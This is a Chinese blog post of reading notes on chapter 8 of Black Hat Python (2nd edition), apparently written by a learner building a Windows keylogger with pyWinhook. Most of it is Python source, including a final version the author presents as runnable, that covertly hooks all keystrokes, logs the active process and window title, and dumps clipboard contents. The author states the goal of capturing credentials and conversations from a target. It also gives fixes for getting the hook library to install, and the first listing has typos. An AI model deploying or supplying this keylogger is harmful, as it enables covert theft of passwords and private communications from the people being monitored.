黑帽python第二版(Black Hat Python 2nd Edition)读书笔记 之 第八章 Windows常见特洛伊木马任务(1)有趣的键盘记录器



文章目录

  • 写在前面
  • 构建keylogger.py脚本
  • 构建击键记录器
  • 小试牛刀
  • 安装pyWinhook
  • 处理cpyHook与_cpyHook
  • 缺少new模块
  • 运行结果展示
  • 可执行代码



写在前面

键盘记录(Keylogging),即使用隐蔽的程序记录连续的击键,这是本书中最古老的黑客技术之一,至今仍在不同程度的使用。攻击者仍在使用它的原因,是它在捕获诸如凭据或对话等敏感信息方面非常有效。
一款名为PyWinHook的优秀Python库可以使使我们能够轻松捕获所有键盘事件。它利用了本机的Windows函数SetWindowsHookEx,该函数允许我们安装用户自定义的函数,而这些自定义函数可以被某些Windows事件调用。通过为键盘事件注册一个钩子,我们将可以捕获目标发出的所有按键。更近一步地,我们还想确切地知道用户正在对哪个进程执行这些击键操作,以便我们可以确定何时输入用户名、密码或其他有用信息。PyWinHook将会为我们负责所有的低级编程,我们只需要实现击键记录器的核心逻辑即可。

构建keylogger.py脚本

创建并打开keylogger.py文件,并加入下面的代码:

from ctypes import byref, create_string_buffer, c_ulong, windll
from http.server import executable
from io import StringIO

import os
import pythoncom
import pyWinhook as pyHook
import sys
import time
import win32clipboard

TIMEOUT = 60*10

class Keylogger:
    def __init__(self):
        self.current_window = None
    
    def get_current_process(self):
        hwnd = windll.user32.GetForegroundWindow()
        pid = c_ulong(0)
        windll.user32.GetWindowThreadProcessId(hwnd, byref(pid))
        process_id = f'{pid.value}'

        executable = create_string_buffer(512)
        h_process = windll.kernel32.OpenProcess(0x400|0x10, False, pid)
        windll.psapi.GitModuleBaseNameA(h_process, None, byref(executable), 512)
        window_title = create_string_buffer(512)
        windll.user32.GetWindowTextA(hwnd, byref(window_title), 512)
        try:
            self.current_window = window_title.value.decode()
        except UnicodeDecodeError as e:
            print(f'{e}: windows name unkown')
        
        print('\n', process_id, executable.value.decode(), self.current_window)
        windll.kernel32.CloseHandle(hwnd)
        windll.kernel32.CloseHandle(h_process)

我们首先定义了一个常量TIMEOUT,创建一个新的KeyLogger类,并编写get_current_process方法,该方法将捕获活动窗口及其关联的进程ID。在该方法中,先调用GetForeGroundWindow方法获取目标桌面上活动窗口的句柄,然后将该句柄传递给GetWindowThreadProcessId函数,以检索窗口的进程ID。接下来我们打开进程,并通过进程句柄找到进程的实际可执行文件名。最后使用GetWindowTextA函数获取窗口标题栏的全文。在这个get_current_process方法的末尾,我们将所有信息进行漂亮的输出,以便可以清楚地看到哪些击键与哪个进程和窗口是相关联的。

构建击键记录器

现在,我们把击键记录器的代码块放在适当的位置:

def mykeystroke(self, event):
        if event.WindowName != self.current_window:
            self.get_current_process()
        if 32 < event.Ascii < 127:
            print(chr(event.Ascii), end='')
        else:
            if event.Key == 'V':
                win32clipboard.OpenClipboard()
                value = win32clipboard.GetClipboardData()
                win32clipboard.CloseClipboard()
                print(f'[PASTE] - {value}')
            else:
                print(f'{event.Key}')
        return True
    
def run():
    save_stdout = sys.stdout
    sys.stdout = StringIO()

    kl = Keylogger()
    hm = pyHook.HookManagere()
    hm.KeyDown = kl.mykeystroke
    hm.HookKeyboard()
    while time.thread_time() < TIMEOUT:
        pythoncom.PumpWaitingMessages()
    log = sys.stdout.getvalue()
    sys.stdout = save_stdout
    return log

if __name__ == '__main__':
    print(run())
    print('done.')

我们从run函数开始解说,在第7章中我们已经创建了受损目标可以运行的模块。每个模块都有一个名为run的入口点函数,因此我们编写的这个键盘记录器也遵循了相同的模式,因此我们可以以相同的方式运行它。第7章中的run函数不接受参数并返回其输出,为了匹配这里的行为,我们暂时将stdout切换到一个类似文件的对象StringIO。这样写入stdout的所有内容都将转到该对象中,稍后我们将说明该对象。
在切换stdout之后,我们创建KeyLogger对象并定义HookManager。接下来,我们将KeyDown事件绑定到KeyLogger对象的回调方法mykeystroke。然后,我们指示PyWinHook挂接所有按键并继续执行,直到超时。每当目标按下键盘上的键时,就会调用mykeystroke方法,并将事件对象作为其参数。我们在mykeystroke中做的第一件事是检查用户是否更改了窗口,如果更改了,我们将获取新窗口的名称和进程信息。然后我们查看发出的击键,如果它在ASCII可打印范围内,我们只需将其打印出来。如果它是修饰符(例如SHIFT、CTRL或ALT键)或任何其他非标准键,我们将从事件对象中获取键名称。另外我们还检查用户是否正在执行粘贴操作,如果是,我们将转储剪贴板的内容。回调函数最后返回True,以允许下一个钩子处理事件。接下来我们运行一下。

小试牛刀

测试我们的键盘记录器很容易。只需运行它,然后开始正常使用Windows。尝试使用web浏览器、计算器或任何其他应用程序,然后在终端中查看结果即可。
但是我在运行过程中碰到了一系列的问题,现在逐一解说。

安装pyWinhook

首先在运行之前需要安装pyWinhook模块,但是安装失败了,如下图。

python hook so文件 python hook windows_键盘记录器


上网搜了一下,需要先配置安装swig,直接去官网下载解压后配置path环境变量,接着又碰到另一个错误,缺少C++构建工具,如下图。

python hook so文件 python hook windows_python hook so文件_02


直接拷贝上图中的url下载安装,然后再次运行pip install pyWinhook顺利安装成功。

处理cpyHook与_cpyHook

接下来运行上面编写的keylogger.py时候碰到了新的错误,缺少cpyHook模块。

python hook so文件 python hook windows_keylogging_03


手动从git上下载cpyHook.py放进去,再次运行,又碰到新的错误,缺少_cpyHook模块,想死的心都有了。

python hook so文件 python hook windows_pyWinhook_04


发现在“C:\Users<username>\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.10_qbz5n2kfra8p0\LocalCache\local-packages\Python310\site-packages\pyWinhook”目录下有一个名为“_cpyHook.cp310-win_amd64.pyd”的文件,貌似是缺少文件的某个版本,有总比木有强,直接重命名成需要的名称_cpyHook.pyd,然后将该文件和cpyHook.py文件一起复制到上一层的site-packages目录下,再次运行,问题解决。

缺少new模块

再次运行,又出现了新的错误,缺少new模块,简直无穷无尽啊。

python hook so文件 python hook windows_键盘记录器_05


经过网络查询,发现这是wxPython下的一个模块,直接先pip install wxPython再说。

python hook so文件 python hook windows_键盘记录器_06


再次执行keylogger程序,仍然报找不到名称为new的模块,上网查了一下,貌似python2.x下的模块,3.x上不支持了。实在没办法了,想放弃了,仔细读一下cpyHook.py的代码看看能不能常识重写一下吧。一读不要紧,太垃圾了,通过new.instancemethod生成的变量在后面整个程序中就木有引用过,直接注释掉这两行,如下图。

python hook so文件 python hook windows_keylogging_07

运行结果展示

再次执行keylogger程序,没报错,但是貌似挂起了,没有其它反映。

python hook so文件 python hook windows_pyHook_08


不管怎么折腾都是上图所示,没有一点动静。其实原书中的run函数的代码以及main函数的代码写的很不怎么样,尝试修改了一下,然后再次运行,虽然比较丑,但是至少有一些反映了,把我的clipboard中的内容打印出来了(日志中的NOTEPAD就是我打开进行的操作),如下图。

python hook so文件 python hook windows_键盘记录器_09


继续修改,然后运行,如下图,现在至少能够记录键盘输入的内容了,但是还非常粗糙,后续有时间再打磨一下。

python hook so文件 python hook windows_pyHook_10

可执行代码

最后附上修改后的代码(原书中的代码是一定运行不起来的)。

from ctypes import byref, create_string_buffer, c_ulong, windll
from http.server import executable
from io import StringIO

import os
import pythoncom
import pyWinhook as pyHook
import sys
import time
import win32clipboard

# TIMEOUT = 60*10
TIMEOUT = 20*1

class Keylogger:
    def __init__(self):
        self.current_window = None
    
    def get_current_process(self):
        hwnd = windll.user32.GetForegroundWindow()
        pid = c_ulong(0)
        windll.user32.GetWindowThreadProcessId(hwnd, byref(pid))
        process_id = f'{pid.value}'
        print(f'pid is : {process_id}')

        executable = create_string_buffer(512)
        h_process = windll.kernel32.OpenProcess(0x400|0x10, False, pid)
        windll.psapi.GetModuleBaseNameA(h_process, None, byref(executable), 512)
        window_title = create_string_buffer(512)
        windll.user32.GetWindowTextA(hwnd, byref(window_title), 512)
        try:
            self.current_window = window_title.value.decode('utf8', 'ignore')
        except UnicodeDecodeError as e:
            print(f'{e}: window name unknown')
        
        print('\n', process_id, executable.value.decode('utf-8'), self.current_window)
        windll.kernel32.CloseHandle(hwnd)
        windll.kernel32.CloseHandle(h_process)
    
    def mykeystroke(self, event):
        if event.WindowName != self.current_window:
            self.get_current_process()
        if 32 < event.Ascii < 127:
            print(chr(event.Ascii), end='')
        else:
            if event.Key == 'V':
                win32clipboard.OpenClipboard()
                value = win32clipboard.GetClipboardData()
                win32clipboard.CloseClipboard()
                print(f'[PASTE] - {value}')
            else:
                print(f'{event.Key}')
        return True
    
def run():
    # save_stdout = sys.stdout
    # sys.stdout = StringIO()

    kl = Keylogger()
    hm = pyHook.HookManager()
    hm.KeyDown = kl.mykeystroke
    hm.HookKeyboard()
    while time.thread_time() < TIMEOUT:
        pythoncom.PumpWaitingMessages()
    # log = sys.stdout.getvalue()
    # sys.stdout = save_stdout
    # print(log)
    return

if __name__ == '__main__':
    # print(run())
    run()
    print('done.')